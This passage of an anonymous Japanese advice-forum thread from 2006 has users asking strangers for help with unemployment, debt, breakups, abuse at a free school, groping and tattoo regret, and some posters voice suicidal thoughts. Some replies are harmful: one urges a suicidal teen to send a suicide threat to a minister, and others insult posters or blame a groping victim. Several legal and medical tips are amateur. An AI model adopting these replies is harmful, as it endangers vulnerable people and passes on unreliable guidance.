あなたの命のお金になるでしょう。ここ2ヵ月ぐらいで再出発の準備(引っ越し、債務整理、再就職)のために、無駄の無いように大切に使われたほうがいいと思います。

土日をはさみ時間があいたために自暴自棄になってしまうと、
50万円ぐらいなら一瞬でなくなります。

電話でいいですから明日金曜日に市役所に相談されたほうがいいと思います。

また弁護士も電話で相談するだけならふつう無料です。お住まいの弁護士会に債務整理の相談をされたらよいでしょう。

569 :マジレスさん:2006/11/10(金) 03:27:32 ID:ziuO/UBp
ヒキニートです。。。誰かたすけてください・・・

570 :マジレスさん:2006/11/10(金) 03:55:06 ID:/DBQxXon
ヒキニート君
自分を助けるのは自分自身だ、
他人は自分のことでいっぱい一杯だ!


571 :迷える黒猫:2006/11/10(金) 04:01:22 ID:kCzLI9qg
かなり精神的に参ってるんですけど、フルネーム、ケータイ番号等を知られてると住所の特定とかできちゃいますか(´;д;`)?

572 :マジレスさん:2006/11/10(金) 04:02:27 ID:Y9Zfu8I7
オレにはわかんないけどできると思うよ。多分。

573 :迷える黒猫:2006/11/10(金) 04:05:12 ID:kCzLI9qg
マジすか(´;д;`)
どーしようもできないすか(´;д;`)?

574 :マジレスさん:2006/11/10(金) 04:05:19 ID:ziuO/UBp
>>570
俺を見捨てるんですか?しねってことですか?

575 :マジレスさん:2006/11/10(金) 04:17:51 ID:ncAU8Cst
>>574
なんだその考え方?失礼な。
自分が生きるためにまず自分から行動をおこしなさい、と諭し励ましてくれているのでしょうが。おかしな物言いをしてはいけません。
今日はもう寝て明日なるべく早く、最悪昼までには起きて
職安行って中に入って世間の雰囲気をみてきなさい。見るだけでいいから。バイト募集の掲示板があるから眺めていても変ではありませんから。

576 :マジレスさん:2006/11/10(金) 04:49:10 ID:ziuO/UBp
>>575
自分から行動起こせって・・・ってそりゃ無理ですよ。
その前にID変わってるってどういう事ですよ?
最悪昼までに起きてって・・・無理です 夕方になりそうです

職安行く勇気もありません。 職安の目線が痛すぎです

577 :マジレスさん:2006/11/10(金) 04:55:03 ID:+JI8uwQp
誰か探偵に関する板知ってる方いましたら、教えてください! すれ違いですが

578 :マジレスさん:2006/11/10(金) 05:14:00 ID:vbRiHLOb
自分が凄く外見至上主義なのが悩みです。

相手に対しても自分に対してもなんです。

太ってて凄く外見にコンプレックスがあった私は
やせてから、外見でやっぱり人は違うタイドを取るんだなって知って
人間は外見だ、みたいになってしまいました。

それから化粧や服やそういう外見にしかこだわれなくなってしまいました。
相手に対しても、外見がいい人は尊敬して、外見が良くない人はちょっと見下すように
なってしまいました。

誰かと付き合っても、自分より外見が良ければ絶対負けると思ってて
恋愛もうまくいかないし、外見ばかり構いすぎて最近頑張るのにも疲れてきました。

年齢も20代真ん中くらいになってきて、やっぱ若く無いとだめみたいに思えてきて
より一層自信をなくしてます。

どうしたらいいですか?
整形でもすれば気がおさまるのかなって思って今悩んでます。

579 :マジレスさん:2006/11/10(金) 05:18:58 ID:ncAU8Cst
>>576
そりゃ人が変わればIDも変わるでしょう。
文面から他人だと気付いても良さそうなものですが。
あなたの返事があまりにも失礼なものでしたのでつい口をはさんでしまいました。

とにかく、
思慮が浅い。読み取る力もないしそもそもこめられた文意を読み取ろうとしていない。
せっかく誰かがきちんと返事してくださった文。気に入る入らないは別として文意を一考するぐらいはしてもよいのでは?

そして、自分が経験が浅く未熟なために受けている待遇を「目が冷たい」などと他人のせいにして自分を省みようとしないその幼稚な態度。

できないできないと周りのせいにして自分を変えようとせず
虚構に逃避し今の自分を認めさせようとし

「死ぬこと」の意味も考えずに軽々しく発言し、あまつさえそれが正しい行為かのように開き直る。


問いたいです。なぜ心から反省し、ありのままの現状の自分を受け入れ
今から人生をやり直し、歩きだそうとはできないのですか?

ゲームではないのですから、リセットして過去に戻ってやり直したり、裏技でいきなりレベル50になったり、イージーモードでレベル20ぐらいから途中参加したり

出来ないんですから。

スタートはみなレベル1で、毎日経験を重ねるしかないのに、
なぜ日々を無駄にされるのですか。

580 :マジレスさん:2006/11/10(金) 05:32:24 ID:ziuO/UBp
>>579
どこから反論していいのですか?あまり頭良くないんで・・・

>スタートはみなレベル1で、毎日経験を重ねるしかないのに、
なぜ日々を無駄にされるのですか。

人は生まれた時から平等ですか?
これだけ反論しときます



581 :マジレスさん:2006/11/10(金) 05:34:36 ID:ncAU8Cst
>>578さん
それも一つの考え方ですしその思想は公共の福祉に反していないように思いますので
良い悪いは気にされなくていいと思います。

ただ、年をとるとどうしても輝きがなくなっていきます。
自分が老いて、肌が朽ちていく様や眩しさが失われていく様を
あなたの中でどう受けとめることができるかだと思います。

老いる現実を受けとめ、年とともにあらわれる自分の中のそれまでとは異なる価値(落ち着いた雰囲気など)をみつけられると、
また価値観が変わっていくでしょう。


今は、ご自身の考えに不信を抱いている理由はなぜか、いつからか、原因はなにか、
などを考えてみられたら、その疑問はあなたの失われつつある、また新しく得つつある価値かもしれません。
そこからあなたの新しい価値観を見つけられるように思います。

582 :マジレスさん:2006/11/10(金) 05:41:12 ID:vbRiHLOb
>580
579さんじゃないけど、反論しても仕方ないでしょう?

あなたは本当に困ってないからそんな事が言ってられるんです。
今こうやってネットができてご飯を食べられてるのは
誰かがあなたを助けてあげてるからでしょう。
それが明日からなくなったらどうしますか?

あなたを家から引っ張りだして仕事を見つけてくれる人なんて
いません。
自分からじゃ動けないなら動けるような環境にしてみたらどうですか。
親に援助してもらってるなら援助を打ち切ってもらえばいい。
そうして困ったら、きっと外に出ないと、働かないとと思うと思いますよ。



583 :マジレスさん:2006/11/10(金) 05:41:27 ID:qOhlZ2Y2
昨日、会社の飲み会がありました。
そこで、今年入社した俺達4人の話になり「休憩中でもスリッパを履く
のは10年早いとか?泊まりの仕事やってるので、朝の30分の休憩
時間に風呂に入る事が何回かあったんだけど、それも10年早いとか
何から何までダメだダメだ」って言われました。
4人の新人のうち、昨日出たのは俺だけでした。他の3人は明日でます
悪い事は直しますが、お酒の席まで仕事の話なんて聞きたくなかったで
す。酒飲んでるから言ったみたいだけど一気に酔いが冷めました。
最後に、「俺はお前がそれをやってるか見てるからな。出来なかったら
蹴るからな」って言われました




584 :マジレスさん:2006/11/10(金) 05:43:18 ID:D0xXP5qi
上司に嫌われている感じがたまらなく耐えられません。仕事上で話はするのですが終わった後などは完璧に避けられてます?どうしたらいいでしょうか?

585 :マジレスさん:2006/11/10(金) 05:50:37 ID:vbRiHLOb
>581
私は本当は自分のそういう価値観をやめたいんです。

知り合いに昔の私のように太っていて外見は良くなくても
いい友達や恋人がいて幸せな人がいます。
その人は自分が太ってても別にそれが悪いと思うこともなく
自分は自分でいいと思っていて、自分を卑下することなく
自信ももっていて。

私はそんな彼女が羨ましいです。
どうしたらそんな風になれるのか、知りたいです。

私はこんな考え方のせいで誰と付き合ってもうまくいきません。
毎日、外見をどうするかで頭がいっぱい。
でもそこから離れられないんです。

どうしたらそういう執着から解放されるんでしょうか。

586 :マジレスさん:2006/11/10(金) 05:58:50 ID:ziuO/UBp
>>582
>自分からじゃ動けないなら動けるような環境にしてみたらどうですか。
それが出来たらいいんだけど 出来ない どうしようもない


587 :マジレスさん:2006/11/10(金) 06:00:51 ID:ncAU8Cst
>>580
聞いたようなことを。それ君の思想?

そういう非生産的な議論は嫌いなんでこれを最後にします。
テレビゲームで。
たとえば、戦士と魔法使いは産まれながらに能力は平等ではない。おなじレベル1だが。
その上で、魔法使いが剣で戦うことしか許されならこれはもちろん平等ではないが、
戦士は剣で、魔法使いは魔法でその道を極め戦うことが許された場合、それでも不平等?

君は、君の中で得意分野は何と聞かれて答えれる?戦士?魔法使い?他のなにか?

社会に出て働くことは社会の目標の一つ。だから仕事でそこそこ成功するためには、必ず一番にならなければいけないというわけにはなっていない。
そこそこの成功はだいたい半分よりも上、人並みよりは少しできる、ぐらいで手に入る。

何か1つ、半分よりも上にいける分野がすでにあるか、仕事をこなしていくうちに身につくか。


仮に財をなすことだけに価値をおいたとしても、その方法は多様であり、さまざまな分野で経済活動がおこなわれている。
まして価値観は多様であり
その中で、自分が「価値がある」と思える生産的なことのうち
たった1つ、人より少しだけ得意というものがあるだけで生きていけるのに

なんで探そうとしないのですか。

588 :マジレスさん:2006/11/10(金) 06:04:48 ID:vbRiHLOb
>586
誰に養ってもらっているのか知らないけど
親なら親に、明日から食料は自分で買いに行くから1ヶ月の食費だけ
くださいとでも言えばどうですか。
そしたら嫌でも自分で買いに行かないといけないでしょう。

ヒキニートやめたいから協力してといえば聞いてくれるんじゃない?


589 :マジレスさん:2006/11/10(金) 06:06:13 ID:ziuO/UBp
世の中は糞だから

590 :マジレスさん:2006/11/10(金) 06:07:23 ID:0N1p9cm3
>>587
最後にまた問い掛けてるけど、ホントにもう止めなよ。

591 :マジレスさん:2006/11/10(金) 06:09:32 ID:65OaDeG/
>>589
世の中はクソだから、クソにまみれたくなくて
家の中に避難しているのです

っていうんならもっと堂々としてればいいんじゃないのかな。
あなたが一番安全だと思える場所にいられるんだもの
こんな幸せなことはないでしょ?
ヒキでも在宅で仕事して金儲けしてる人なんていくらでもいるわけだし
外に出るのがイヤなら、家の中でなんとかする方法を模索したらいいんじゃないの?

592 :マジレスさん:2006/11/10(金) 06:23:08 ID:ziuO/UBp
同じような文章でくちゃくちゃいってんじゃねえよ?
飽きたw

寝る お休み 


593 :マジレスさん:2006/11/10(金) 06:24:05 ID:65OaDeG/
>>592
寝るなよw


594 :マジレスさん:2006/11/10(金) 06:29:28 ID:ncAU8Cst
>>585
考え方は捨てたりやめたりするだけではなく
多くの意見を受け入れて、横に広く上に高く、太い大きな木のように成長させていくこともできるものだと考えています

付き合った人とうまくいかなかったのは、相手の方のことを尊敬できなかったからではないでしょうか。
尊敬できなかったのは、相手の考え方を受け入れ理解して認めることができなかったからだと思います。

あなたの考え方は間違っていません。どうせ付き合うなら美人がいいとか誰でも考えます。
ただ視野が狭かっただけです。

今のあなた自身に自信をもたれて、ただ今の考えの他にも様々な考え方を受け入れて成長していく

みたいな心の余裕がいいと思います。

あと、2点。
オシャレしすぎることが気になられるなら、少しずつ社会人らしい清楚でおとなしい、清潔感のあるものに変えていかれてはいかがでしょうか?マニキュアの色を自然な地肌に近付けるとか。
その友達の自信は、根拠がなく無自覚で反省できない、つまり単に図々しい性格なだけである可能性がある気がします。違ったら失礼。ただあなたが今寂しい想いをされているから、隣の庭が青く見えているだけかもしれません。

595 :マジレスさん:2006/11/10(金) 06:46:02 ID:K6zWmh8U
8年勤めた仕事先でしたが首になった。
1年前に上司が変わり、その上司はやたらヒイキが激しくて
気に入った人と、そうでない人との差はシフトを見れば一目瞭然。
当然私は週に1,2回しか仕事を入れてもらえなくなった。
やんわり言ってみたけど「新人を鍛えたいから新人を優先するのは当たり前」といわれた。
でも新人関係なく明らかに私以外の人は週に4,5回入っている。
夏の終わりに体調を崩し1日入院しました。
気づいたら病院で、仕事を無断で休んでしまった。
親が連絡をしておいてくれたのですが、
次の日に私が謝りの連絡をしたら
「君の無断欠席で新人がビビッてしまっている
あと、満場一致で君を首にしたほうがいいという意見が出た
日頃からシフトに不満があったんだろう?もう無理だから来なくていい」
と訳の解らない事を言われ、そのまま辞めさせられた。
その後、仕事先の人に聞いたら誰も首にしたほうが言いなんていってないと。
私の悪口を言って、今はもう仕事先のみんなに嫌われ、連絡もできなくなった。
悔しくて悲しくてたまりません。
もう人間と関わるのが怖いです。

596 :マジレスさん:2006/11/10(金) 07:13:57 ID:YydObWPA
>>595
物は考えようですよ。
ヒイキが激しい上司の下で虐げられながら働くなら辞めさせられて正解だったかもしれません。
8年会社のために頑張ってきてさぞかし辛かっただろうと思いますが、
会社は安住の場所ではありません。
今までの経験を活かし、
また一から頑張ってみませんか?
新しい環境になれば気分も変わるかもしれませんよ。

シフトの事実があるのでしたら労働基準監督署に訴えるのも一つです。

597 :マジレスさん:2006/11/10(金) 07:38:03 ID:Yl1IaQhm
>>595
それは無茶苦茶だね。
そんな仕事から離れられて大正解。
残っていても良いこと無い。
あなたの性格とも相性が悪い。

あなたは仕事場だけが人生だったのですか?
たった週に1〜2回しか入れない(たぶん派遣)仕事が。

598 :マジレスさん:2006/11/10(金) 07:39:07 ID:hA5WjXqR
>>595
シフトで勤務日数が変わるという事は、アルバイトでしょうか?
正社員・アルバイトに関わらず、長期固定契約・勤務の労働者を
明確かつ正当な理由無しに、雇用者が一方的に即日解雇する事は出来ません
即日解雇可能な無断欠勤の場合でも、「正当な理由無く二週間」以上と定められています

貴方の場合明らかに許容範囲内だと思われますので、不当解雇になり解雇自体無効です
また職場に不当な悪評を流され、勤務に支障をきたした場合、名誉毀損になるかと思います

当方の労働基準法知識は、民間資格程度のものですので
専門の機関などに相談する方が望ましいかと思います
もっと上の責任者に書面で直訴するのも良いかもしれませんよ

とりあえず少し休んで気分を落ち着けてから、改めて行動した方がいいと思います

599 :マジレスさん:2006/11/10(金) 07:46:09 ID:ThwYXtq2
僕はある不登校の子供が集うフリースクールに通っています
そこでは、世間では自殺もんなこともまかりとおっており、親がその先生の信者である以外は理不尽さにやめていっています
僕の親は完璧な信者なのでそこに通っています
あと3年、通わなければならないとなると自殺したくなってきます
「俺の教室では自殺者はいない」と先生は胸をはってますが僕が第一号になりそうで…
文章まとまってないですがどうしたらいいでしょう
高校中退でもやっていけるのでしょうか
そのフリースクールで行われることはあれでしたら書きます

600 :マジレスさん:2006/11/10(金) 07:59:12 ID:aLL5LI68
>>599
僕は高校中退ですが、世間ではゴミ扱いです。
ゴミでも立派にやっていますから大丈夫です。

しかし、退学するのは自殺するよりは絶対に良いことです。
自殺はいじめた奴らに完全に負けたことになります。

そのフリースクールの名前と住所をここでもいいから公表しましょう。
できれば文科省の大臣宛に自殺すると予告しましょう。
そうすれば蜂の巣をつついたようにざわめいて対策を取ってくれます。

601 :マジレスさん:2006/11/10(金) 08:02:24 ID:sSOvBDbv
>>600
これだけは言わせて下さい!!

あなたは600getしてます('A`)

602 :マジレスさん:2006/11/10(金) 08:25:49 ID:cKjQQWz3
>>599
信者、と言うには何か宗教のような要素があるということでしょうか?
そのスクールの生徒の中には過去、自殺者がいるということですか?

>高校中退でも
やっていけないことはないですが、あまりお奨めはしません

通いたくない理由を、支障ない程度で教えてくれますか?

603 :マジレスさん:2006/11/10(金) 08:36:24 ID:ZOLOIpSr
>>599
ひとつ言っていくが、昔は不登校の生徒なんてものは一人もいなかった。
昔と比べて何が違うかと言うと、甘やかされて軟弱なだけなんだよ。
お前はいつもそうやって逃げてばかりいる、だから余計に地獄へ向かっていってしまうってわけさ。
分ったらちったあ精進しやがれ。

604 :マジレスさん:2006/11/10(金) 08:41:06 ID:ZOLOIpSr
>>595
新しい上司に嫌われるような真似をしてるあんたのミス。
あんただってウザイ奴には仕事まわしたくないだろ?

605 :マジレスさん:2006/11/10(金) 11:12:14 ID:E6hLoqqc
>>599
あなたは親の目から見て、素直で良い子だった筈。親の期待に答えようと自分の意思を
抑えていたと思う。不登校は自分の事は自分で決めたいと思う気持ちの表れ。
フリースクールはあなたの為でなく、親が安心したいから行かせているにすぎない。
自律したいあなたの気持ちを、親は分っていない。

606 :マジレスさん:2006/11/10(金) 11:22:51 ID:jlcaXicb
学校の教師や親と衝突するのは普通ですか?
オレ自身がオレの意志で動くのは間違っていますか?

607 :マジレスさん:2006/11/10(金) 12:01:14 ID:D0xXP5qi
時と場合による

608 :マジレスさん:2006/11/10(金) 12:05:45 ID:2/hQZM4t
チンコの勃起力&硬さ、持続力を高めたいんですけど、
どうすればいいですか?
あと、たいして興味ない女でもしっかり勃起っきしるためにはどうすればいいですか?

俺好みで勃起はするが、そうでないのは萎えチンなんですよ・・・
どんな娘でもオールオッケイにしたいんですよ。

609 :マジレスさん:2006/11/10(金) 12:10:04 ID:WJdh4CjM
相談します。
お互い好きなのに別れました。最近知ったのですが原因は彼の借金などのお金の問題です。
元々彼は本当の理由を隠し、私に別れを切り出しました。
彼は追い込まれ精神的に余裕もなく優しさも消えかけています。
今は必死で寝る間も惜しんで働いています。
私はその気持ちを素直に受け入れ別れているべきなのでしょうか。
それとも苦しいのがわかっていても飛び込んで協力して解決して寄りを戻すべきなのでしょうか。
今の彼をみているのは本当に心苦しいです。

610 :マジレスさん:2006/11/10(金) 12:10:13 ID:FzDWr8ri
バイアグラ使えばいいよオススメ
とりあえずフェラしてもらえ

611 :マジレスさん:2006/11/10(金) 12:16:46 ID:Yl1IaQhm
>>606
人は精神より体の方が先に成長する。
精神が成長するに連れて「自我(自分と言うもの)の意識」が芽生えてくる。
その成長過程で 今まで疑問無く受け入れていた親や教師の意見を疑問視し自分の意思を出そうとする。
あなたは今ここ、誰だってそんな時代はある。

ただし、自分の意思で動いてよい範囲があなたに理解出来ているだろうか?
>>607さんの言うように> 時と場合による

> オレ自身がオレの意志で動くのは間違っていますか?
こんなことを聞かないと分からない程経験の無いあなたが、全てのことを自分の意思で動くには早いだろうな。
自分のことを理解してほしいなら周りのアドバイスも理解しようね。


612 :マジレスさん:2006/11/10(金) 12:17:12 ID:65OaDeG/
>>609
その借金が彼の浪費に基くものじゃなく
親の事業が失敗したとか、家族の病気や怪我、事故などで治療費がかさんだためとか
そういうことなら
あなたの気持ち次第じゃないかと。
支えてあげたいと思うならもう一度ぶつかっていっていいと思う。

本人が作った借金なら、下手に同情しないほうがいいと思う。

613 :マジレスさん:2006/11/10(金) 12:30:51 ID:WJdh4CjM
>>612
借金は彼が作ったものです。
厳密に言うと仕事上どうしても必要な借金で、返せる見込みがあったのに仕事上でトラブルが発生し、返せる見込みがなくなったってところです。
彼なら乗り切れると思うのですが、お金の問題だけに彼に軽はずみな事を言える状況ではありません。
本当にどうしたらいいのか…。私は力になりたいけど周りは反対ですよね…。

614 :マジレスさん:2006/11/10(金) 12:31:40 ID:BLFRG5Tl
なんで衝突するのか理由はわからないけど、
教師はあなたのことをすごく考えてるわけではない。
親はやはりあなたのことをすごく考えている。
そのことを考えて自分でやはりこうしたいと思うなら自分で自分の行動が責任
とれるように行動していいと思います。

615 :マジレスさん:2006/11/10(金) 12:37:54 ID:34tLAkqH
>>613
世間体を気にしてるの?

その彼が本当に好きならば、支えてあげるのが恋人の役目じゃないのか

616 :マジレスさん:2006/11/10(金) 12:40:11 ID:65OaDeG/
>>613
仕事でつくった借金かー。
本人が作った借金ならOKで、本人の作った借金がNGと言った理由の一つに
誰かの肩代わりで借金返済してるときって、
「なんで俺がこんな目に」ってのが多少なりともあって
それを支えてあげることってのは単純に重荷の分担だし、連帯感が生まれたりもすることで
本人もありがたく思ってくれることが多いと思うんです。
でも、
自分で作った借金を誰かが手伝ってくれるってのは
浪費癖がある人、借金にルーズな人、依存心のある人にとっては
落ちていくきっかけ、ダメでいいじゃん的な甘えにつながるのでダメ
逆に、真面目でプライドが高い人は
自分の弱みに足を踏み入れられたことで屈辱と思ったり、へんに構えてしまったりする場合があるから。
なので、後者の場合は「助けになりたい」ってスタンスより
もっとずうずうしい女っぽく「別れたくない、だって好きなんだもん!」って感じで
直接的な助け、支えを切り出すのではなく
間接的に、わからないように支えになってあげられたらいいですよね。
ちょっと難しいですけど。
それか、いったんは別れを受け止めつつ、メールなどでつなぎをつけておいて
継続的に「戻れるタイミング」をさぐっておくか。

617 :マジレスさん:2006/11/10(金) 12:44:53 ID:WJdh4CjM
>>615
気にしていません。
書いたとおり、彼とは別れています。
彼が別れを切り出した気持ちを踏みにじるのがどうかという話です。

後、金銭の事なのでどうかという話です。

今は自分がどういう選択をすべきか悩んでいます。
後押ししてくれる人がいないのでして欲しいのかもしれません。
すみません、本当に好きだから協力とか見捨てるとか簡単にいかないのです。

618 :>394です:2006/11/10(金) 12:47:17 ID:sqXiXVzH
寝落ちしてましたlllorz

返信ありがとうございました。>>423さん、まったくそのまんまです!!…見てたの?ってくらいです。

…自分は嫌われてる?
居られないって。
…どこにも。
家出したって 行く場所もない、です。
…みたいな。

自分はずっとひとりきり。
人を信じきれない 嘘しか吐けない
愚か者。

619 :マジレスさん:2006/11/10(金) 12:52:50 ID:YydObWPA
>>609
彼が貴方のことを思って好きなのに別れを切り出したのであれば、
それは彼が借金を全て返してから向き合いたいからなのではないでしょうか。
とても誠実な方ですね。
貴方も協力したいという温かい気持ちはわかります。
しかしお金を工面すべきではないと思います。
どんな場合であれ、恋愛にお金が関わるとお金に目を向けてしまい恋愛が見えなくなるものです。
ですから、借金は協力できないけれど精神的に貴方をを支えたい、辛い時にはいつでも連絡していいよと伝えてみてはいかがでしょうか。
あくまでもサポートとして彼の仕事の疲れを癒やしたり、
辛いときに励ます役に徹するべきだと思います。
彼の借金が早くなくなるといいですね。

620 :マジレスさん:2006/11/10(金) 12:54:12 ID:WJdh4CjM
>>616本当に真剣に聞いてくれてありがとうございます。
別れて2ヶ月近く経ち、今になってようやく理由を知れたのです。
付き合いは三年以上ありました。

彼がもし助けを求めて来たなら助けたいけどプライドが高い人なのでそれはないと思います。
やはり多少図々しく離れたくない的な事を言ってさりげなく協力するのがいいのかもしれませんね。

本当にありがとうございます。

621 :マジレスさん:2006/11/10(金) 12:55:54 ID:ncAU8Cst
>>617
お金の問題は人間の質を根底から変えます。
借金をともに背負うことはあなたの想像以上にあなたの心に負担をかけます。

他人の借金に関与しては、絶対にいけません。甘っちょろい精神論が吹き飛ぶ過酷な世界です。

彼の負担にならないように、彼が帰ってくることを信じて待ってあげることがいいように思います。

622 :マジレスさん:2006/11/10(金) 13:01:50 ID:WJdh4CjM
>>619さんもありがとうございます。
そういう考えは頭にありませんでした。
実際お金の問題は気休めを言うだけじゃ余計なストレスを与えると思っているからです。
協力もできないくせに連絡だけはとるのは卑怯かと。
でもそうではないのかもしれないですね。
やはり簡単な問題ではないですね。
皆さん、本当に参考になりました。

623 :マジレスさん:2006/11/10(金) 13:02:38 ID:LHBKcXz3
>>617 世間体を気にしてないなんて自分でも分かんないもんだけどな、してないと言うならば、なんで他人の後押しがわざわざ必要なんか?

あんたはそんな事ない!って思うだろうが、彼をどんな状況でも見捨てないってゆう自分に酔ってるんじゃね?

624 :マジレスさん:2006/11/10(金) 13:32:36 ID:ThwYXtq2
>>600
名前を公表するのはあれですが、暴力が普通にまかり通っているところです
その他命令に逆らったら4日間水だけで生活を強いられたりすることもざらです

>>602
高校中退だと厳しいですか…
そのスクールを1日でも休むと外で寝かされることもあります
未成年がですよ…
だから強制的に行かなければなりません

>>603
僕はそのフリースクールの他にちゃんとした学校へは行っています
休んでもいないし進学もできています
でもどこかしら甘いところがあるのでしょうね…

>>605
そんな感じがします
その教師はなにからなにまで全て決めるので不安定な親が安心して任せられるのでしょう

625 :423:2006/11/10(金) 13:53:12 ID:E6hLoqqc
>>394.>>618
本当の事を話して叱られた経験をすると、叱られないように嘘をつくようになるんだよ。
自分の態度や言葉で親が不機嫌になるから、感情を隠して人の顔色を見るようになるんだよ。
独りで戦っているんだね。あなたは悪くない。あなたのような人は、悪い男に騙されやすいから気をつけてね。

626 :マジレスさん:2006/11/10(金) 14:04:59 ID:cKjQQWz3
>>624
外で寝かされる、四日間水だけで生活、というところから見ると、
宿舎も兼ね生活する場と考えていいのでしょうか?
当方の認識では学校代わりに通うところと思っていたのですが。

自宅で暮らしているわけではない?


627 :マジレスさん:2006/11/10(金) 14:06:13 ID:0U4RVSWC
高3♀です。
今まで何も無かったのに、ここ2日連続で突然痴漢に遭いました。(それぞれ別のオッサンに)
痴漢といっても胸を揉まれただけなのですが、あまりに気持ち悪くてしょうがありませんorz
よく見た目がふんわりしていると言われるのですが、それも関係しているのでしょうか。オタ系にも好かれやすいので男性不信になってしまいそうです…。
よろしかったらどなたかお願い致します。

628 :マジレスさん:2006/11/10(金) 14:21:03 ID:a6248juP
今年5月、旦那が会社を辞め転職、半年のうちに会社の事情で解雇→転職を三度繰り返し先月から勤めだし順調なはずが会社のトラブルに巻き込まれ会社を退社しなければなりません。 ほんとにツライ。

629 :マジレスさん:2006/11/10(金) 14:25:05 ID:CltFdGCm
>>627
もっと胸を隠せ

630 :マジレスさん:2006/11/10(金) 14:28:17 ID:ThwYXtq2
>>626
いえ、学校のかわりに通う場所です
四日間水だけも、外で寝るのも罰のひとつなのです
普段は自宅で暮らしているのですが僕含め両親がその教師に心酔しきっているので、実質宿舎とかわりないかもしれません…
バイトは許可されてるのですが、全額とられるので一人暮らしの資金を貯めることもできないのです

631 :マジレスさん:2006/11/10(金) 14:29:24 ID:0U4RVSWC
>>629レスありがとうございます。
制服だし貧乳なんで一応隠れてはいるのですが、何とか頑張ってみますww

632 :マジレスさん:2006/11/10(金) 14:31:29 ID:2/hQZM4t

 うわああああああ!

 機械受注ー7.4ぎゃああ

やられた・・・orz どーする?

633 :マジレスさん:2006/11/10(金) 14:35:21 ID:kmXBV/CK
>>631
スカートも短くしすぎないように。


634 :マジレスさん:2006/11/10(金) 14:41:10 ID:cKjQQWz3
>>630
学校に通いながら、フリースクールにも通っているということですか?
それは・・・また時間的束縛も辛いでしょうね。

辞めることが可能なのは普通の高校のことでしょうか?
そもそも、不登校でもないあなたがそのフリースクールに通わなくてはならない
理由、と言うのは、ご両親が熱烈な信者だから?

差し障りなければ、ご両親はフリースクールに通わなければいけない理由を
あなたになんて説明しているのか教えてくれませんか?

635 :マジレスさん:2006/11/10(金) 16:13:39 ID:yXWFUUqI
>>631
特に「おさわり」系の痴漢に狙われやすい女性の特徴ってのがあって
・おとなしそう
・服装や髪型がおとなしい、地味
・髪の毛がセミロング〜ロングで、奇抜な色に染めていない
このへん。
逆に奇抜なファッションの子やケバメイクの子は狙われにくいらしい。
(もっともこっちはレイプの被害とかの比率が高くなってくるから良し悪しだけど)

電車や行きずりで乳や尻を触られる系の痴漢被害に遭いにくい女性像ってのがあって
・ショートカット、茶髪
・気が強そうな美人、気が強そうなルックスの人
・フェミニンな服装ではなく、マニッシュな服装の人
このへんらしい。
下手に手を出したら反撃しそうな人ってのは痴漢に遭いにくいとか。

636 :マジレスさん:2006/11/10(金) 16:39:29 ID:S4EXW/hE
私は生まれつき、右の二の腕と右の太腿に大きくて丸くて茶色いシミがあります。
このシミが、小学生の時からコンプレックスで水泳の授業も、いつもズル休みしていました。
それは中学、高校にあがっても変わらなくて、シミを見られたくなくて半袖になるのが嫌でした。でも相談できる友達もいませんでした。
親に言っても「そんな事で悩んでるんじゃない!」と叱られました。
確かにそう思われるかもしれませんが、私にとっては傷つけても消したいくらい邪魔だったんです。
高校を卒業した後も、毎日毎日どうにかしたいと思って悩んでいました。そんな中、私はタトゥーという存在を知りました。これなら、シミを隠せるし、見られても恥ずかしくないと。
今思うと、この時の私は本当に馬鹿で無知で子供だったと悔やみます。そして、三万かけてタトゥーを二の腕に入れました。その時は、シミで悩む自分から解放された気がしました。
でも世間の目は冷たく、のしかかりました。親は泣いていました。タトゥーを入れて二年半経ちますが、人生何も変わりません。
本当に死にたいくらい悔やんでいます。なんでこんな馬鹿な事をしてしまったのか。長くなりましたが、誰かよいアドバイスお願いします。

637 :マジレスさん:2006/11/10(金) 16:44:37 ID:jY18Avu3
>>636
もちっとシミについて詳しく
大きさは直径で何cm?

638 :マジレスさん:2006/11/10(金) 16:47:51 ID:S4EXW/hE
>>637
腕は2p楕円形。
太腿は4pの丸です。

639 :マジレスさん:2006/11/10(金) 16:52:13 ID:jY18Avu3
>>638
おれも左腕の所にシミがあって
それが丁度4cmくらいだ
今計った。

640 :マジレスさん:2006/11/10(金) 16:53:17 ID:yXWFUUqI
>>636
腕のいい彫り師のタトゥーなら
レーザーや手術で消すことができるよ。
親と医者に相談してみたら?

腕が下手な彫り師のものなら
真皮まで傷つけちゃってうまく消せない場合があるらしい。

641 :鮪サン ◆Yq5bx2EAvY :2006/11/10(金) 16:54:39 ID:aJwFBn5s
>>636
体に墨を入れたのは少し覚悟が足らぬかったが、何を入れたんじゃろうか?
親に了承を得るのは「体に墨を入れる事」への最低限のマナーじゃよ。
親に了承を得れるだけの覚悟があるかじゃからのぅ。

もう入れたものは消すのはほぼ不可能じゃろうから
主の今の気持ちを常に忘れない為に受けとめるしかないじゃ。

今の主は「見た目」に左右されすぎておる。

刺青があろうと、シミがあろうと主は主じゃ。
まずは自分の全てを受け入れる事から始めるのじゃ。

人は忘れ捨てる事はできぬ。
ただ、思い出す術を忘れていくだけじゃ。
じゃから、今の気持ちも今までの気持ちもゆっくり受けとめて
前を向いて歩いて欲しいじゃ。

その刺青も、今は「傷」だとしても
「傷」も主の一部である事には変わりないじゃよ?

仕事もどるじゃ…ブクブク。。。

642 :638:2006/11/10(金) 16:56:37 ID:jY18Avu3
>>638
君って女の子?
おれは男だけど
傷付けてまでどうにかしたいとか思う君の気持ちは
良く解らないな
同じくシミがあるけど気にしたこと無い

643 :639:2006/11/10(金) 16:57:23 ID:jY18Avu3
やべ
名前欄ミスった正しくは↑ので

644 :マジレスさん:2006/11/10(金) 16:58:44 ID:yXWFUUqI
>>641
刺青が消せないって決め付けはイクナイ。

日本式の刺青は消せないことのほうが多いけど
いま若者の間で流行ってるタイプの刺青は
ごく浅い彫りだったりするのでレーザー治療などで消すことも可能です。
あと、彫り方によっては10年くらいたつと自然に消えるような刺青ってのもある。
ちゃんと修行してないへたくそな彫り師の刺青は
深い層を傷つけてしまっていて消せなくなることもあるけど。

645 :マジレスさん:2006/11/10(金) 17:08:01 ID:fwM7rMUL
>>636
見た目を気にしすぎなんだと思います、シミがあってもいいじゃないですか
他人の手や足のシミを、いちいち気にする人はあまりいないと思いますよ
シミを持ってる人は結構いると思いますよ
今の若い人は日焼けしすぎで、みんな年を取ったら顔とかシミだらけでしょう
俺なんて若ハゲですよ、みんなの頭部への視線が痛いですが
ハゲてきたものはしょうがない、ハゲで悪いかと、開き直っています
あなたも開き直って考えてみてはどうでしょうか?

646 :マジレスさん:2006/11/10(金) 17:09:03 ID:qWpknZwQ
友達に火傷の跡が大きくついている子いるけどその子は隠していない。
